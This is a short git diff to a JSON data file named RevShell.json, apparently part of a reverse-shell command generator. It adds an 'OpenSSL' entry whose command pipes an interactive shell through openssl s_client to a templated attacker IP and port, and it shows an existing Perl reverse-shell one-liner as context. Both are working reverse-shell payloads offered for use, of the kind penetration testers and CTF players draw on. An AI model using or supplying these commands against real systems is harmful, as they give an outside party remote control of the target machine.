diff --git a/src/assets/data/RevShell.json b/src/assets/data/RevShell.json index ee54635..0ede9a4 100644 --- a/src/assets/data/RevShell.json +++ b/src/assets/data/RevShell.json @@ -109,6 +109,13 @@ "mac" ] }, + { + "name": "OpenSSL", + "command": "mkfifo /tmp/sin; {shell} -i < /tmp/sin 2>&1 | openssl s_client -quiet -connect ${values.ip}:${values.port} > /tmp/sin; rm /tmp/sin", + "tags": [ + "linux" + ] + }, { "name": "Perl", "command": "perl -e 'use Socket;$i=\"${values.ip}\";$p=${values.port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'", @@ -372,4 +379,4 @@ "windows" ] } -] \ No newline at end of file +]